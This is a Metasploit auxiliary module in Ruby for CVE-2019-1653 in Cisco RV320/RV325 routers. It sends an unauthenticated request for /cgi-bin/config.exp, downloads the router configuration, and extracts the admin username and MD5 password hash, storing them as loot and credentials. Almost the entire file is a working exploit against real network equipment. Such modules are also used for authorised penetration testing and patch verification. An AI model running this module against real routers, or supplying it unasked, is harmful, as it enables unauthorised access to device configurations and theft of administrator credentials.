1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Cisco RV320/RV326 Configuration Disclosure',
14
        'Description' => %q{
15
          A vulnerability in the web-based management interface of Cisco Small Business
16
          RV320 and RV325 Dual Gigabit WAN VPN routers could allow an unauthenticated,
17
          remote attacker to retrieve sensitive information. The vulnerability is due
18
          to improper access controls for URLs. An attacker could exploit this
19
          vulnerability by connecting to an affected device via HTTP or HTTPS and
20
          requesting specific URLs. A successful exploit could allow the attacker to
21
          download the router configuration or detailed diagnostic information. Cisco
22
          has released firmware updates that address this vulnerability.
23
        },
24
        'Author' => [
25
          'RedTeam Pentesting GmbH <[email protected]>',
26
          'Aaron Soto <[email protected]>'
27
        ],
28
        'License' => MSF_LICENSE,
29
        'References' => [
30
          ['EDB', '46262'],
31
          ['BID', '106732'],
32
          ['CVE', '2019-1653'],
33
          ['URL', 'https://seclists.org/fulldisclosure/2019/Jan/52'],
34
          ['URL', 'https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801'],
35
          ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20110330-acs.html']
36
        ],
37
        'DisclosureDate' => '2019-01-24',
38
        'DefaultOptions' => {
39
          'SSL' => true
40
        },
41
        'Notes' => {
42
          'Reliability' => UNKNOWN_RELIABILITY,
43
          'Stability' => UNKNOWN_STABILITY,
44
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
45
        }
46
      )
47
    )
48

49
    register_options(
50
      [
51
        Opt::RPORT(443),
52
        OptString.new('TARGETURI', [true, 'Path to the device configuration file', '/cgi-bin/config.exp']),
53
      ]
54
    )
55
  end
56

57
  def report_cred(user, hash)
58
    service_data = {
59
      address: rhost,
60
      port: rport,
61
      service_name: ssl ? 'https' : 'http',
62
      protocol: 'tcp',
63
      workspace_id: myworkspace_id
64
    }
65

66
    credential_data = {
67
      module_fullname: self.fullname,
68
      origin_type: :service,
69
      private_data: hash,
70
      private_type: :nonreplayable_hash,
71
      jtr_format: 'md5',
72
      username: user,
73
    }.merge(service_data)
74

75
    login_data = {
76
      core: create_credential(credential_data),
77
      status: Metasploit::Model::Login::Status::UNTRIED
78
    }.merge(service_data)
79

80
    create_credential_login(login_data)
81
  end
82

83
  def parse_config(config)
84
    # Report loot to database (and store on filesystem)
85
    stored_path = store_loot('cisco.rv.config', 'text/plain', rhost, config)
86
    print_good("Stored configuration (#{config.length} bytes) to #{stored_path}")
87

88
    # Report host information to database
89
    hostname = config.match(/^HOSTNAME=(.*)/)[1]
90
    model = config.match(/^MODEL=(.*)/)[1]
91
    mac = config.match(/^LANMAC=(.*)/)[1]
92
    mac = mac.scan(/\w{2}/).join(':')
93
    report_host(host: rhost,
94
                mac: mac,
95
                name: hostname,
96
                os_name: 'Cisco',
97
                os_flavor: model)
98

99
    # Report password hashes to database
100
    user = config.match(/^user (.*)/)[1]
101
    hash = config.match(/^password (.*)/)[1]
102
    report_cred(user, hash)
103
  end
104

105
  def run
106
    begin
107
      uri = normalize_uri(target_uri.path)
108
      res = send_request_cgi({
109
        'uri' => uri,
110
        'method' => 'GET',
111
      }, 60)
112
    rescue OpenSSL::SSL::SSLError
113
      fail_with(Failure::UnexpectedReply, 'SSL handshake failed.  Consider setting SSL to false and trying again.')
114
    end
115

116
    if res.nil?
117
      fail_with(Failure::UnexpectedReply, 'Empty response.  Please validate the RHOST and TARGETURI options and try again.')
118
    elsif res.code != 200
119
      fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code} response.  Please validate the RHOST and TARGETURI options and try again.")
120
    end
121

122
    body = res.body
123
    if body.match(/####sysconfig####/)
124
      parse_config(body)
125
    else body.include? "meta http-equiv=refresh content='0; url=/default.htm'"
126
         fail_with(Failure::NotVulnerable, 'Response suggests device is patched')
127
    end
128
  end
129
end
130

131